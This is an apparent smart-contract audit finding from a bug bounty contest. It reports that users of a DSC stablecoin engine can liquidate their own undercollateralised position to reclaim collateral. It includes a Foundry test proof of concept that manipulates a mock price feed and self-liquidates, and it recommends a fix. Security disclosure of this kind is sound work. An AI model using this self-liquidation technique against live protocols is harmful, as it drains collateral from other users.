15,000 USDC
View results
Submission Details
Severity: high

A user can call self liquidate their DSC tokens

Summary

A user whose HealthFactor is gone bad can self-liquidate and recover the collateral tokens.

Vulnerability Details

Imagine a user and his HealthFactor is below the threshold. As a result, Other users can now liquidate him/her and earn the 10% rewards. The workflow for the liquidation process is that the DSC tokens of the liquidator user is burnt and the collateral is given to the liquidator.

Now, In the current implementation of the code, the user can call the liqudiate function by themselves without any restriction and recover all the collateral assets(in wETH terms) and still have some collateral left.

From the given PoC:
The values of assets the user holds before liquidation at 1 ETH = 20 $ -> 300 $
The values of assets the user holds after liquidation at 1 ETH = 18 $ -> 250 $
The values of assets the user holds once price update to 1 ETH = 20 $ -> 300 $

Proof of Concept( Run via forge test)
Command to Run - forge test --match-test testSelfLiquidation -vvv --via-ir

function testSelfLiquidation() public {
// amountCollateral = 10 ether;
// amountToMint = 100 ether;
// Before // 1 ETH = $20
vm.startPrank(user);
ERC20Mock(weth).approve(address(dsce), amountCollateral);
dsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
vm.stopPrank();
int256 ethUsdUpdatedPrice = 18e8; // 1 ETH = $18
MockV3Aggregator(ethUsdPriceFeed).updateAnswer(ethUsdUpdatedPrice);
uint256 userHealthFactor = dsce.getHealthFactor(user);
console.log("Before Liquidation");
(uint256 dscUser, uint256 colUser) = dsce.getAccountInformation(user);
console.log("DSC Info of User: ", dscUser);
console.log("Col Info of User: ", colUser);
console.log("Weth balance of user: ", IERC20(weth).balanceOf(user));
console.log("Weth collaterl of user: ", dsce.getCollateralBalanceOfUser(user, weth));
console.log("DSC balance of user: ", dsc.balanceOf(user));
console.log("Health Factor of User:", dsce.getHealthFactor(user));
console.log("Total DSC supply:", dsc.totalSupply());
console.log("_________________________________________________________________");
vm.startPrank(user);
dsc.approve(address(dsce), amountToMint);
dsce.liquidate(weth, user, amountToMint);
vm.stopPrank();
console.log("After Liquidation");
(uint256 dscUser1, uint256 colUser1) = dsce.getAccountInformation(user);
console.log("DSC Info of User: ", dscUser1);
console.log("Col Info of User: ", colUser1);
console.log("Weth balance of user: ", IERC20(weth).balanceOf(user));
console.log("Weth collaterl of user: ", dsce.getCollateralBalanceOfUser(user, weth));
console.log("DSC balance of user: ", dsc.balanceOf(user));
console.log("Health Factor of User:", dsce.getHealthFactor(user));
console.log("Total DSC supply:", dsc.totalSupply());
console.log("_________________________________________________________________");
}

Impact

The bug would allow a malicious user to liquidate their own position and take additional collateral from the protocol.

Tools Used

Manual Analysis

Recommendations

Add a simple check to prevent users calling liquidate function on themselves.

if (msg.sender == user) {
revert DSCEngine__CannotSelfLiquidate();
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.